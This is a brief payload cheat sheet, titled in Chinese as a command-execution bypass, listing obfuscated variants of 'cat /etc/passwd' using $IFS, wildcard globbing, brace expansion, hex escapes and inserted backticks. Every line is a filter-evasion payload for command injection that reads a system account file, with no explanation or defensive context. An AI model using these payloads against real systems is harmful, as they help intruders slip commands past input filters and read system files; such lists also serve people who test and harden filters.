【bypass】命令执行

• cat /etc/passwd

cat$IFS/etc/passwd
/???/c?t /?t?/p?????
{cat,/etc/passwd}
{cat,/?t?/p?????}
{$'\x63'\a$'\x74',/e*/p*$'\x64'}
c`\a`at /e`\b`tc/p`\a`ass`\a`w`\a`d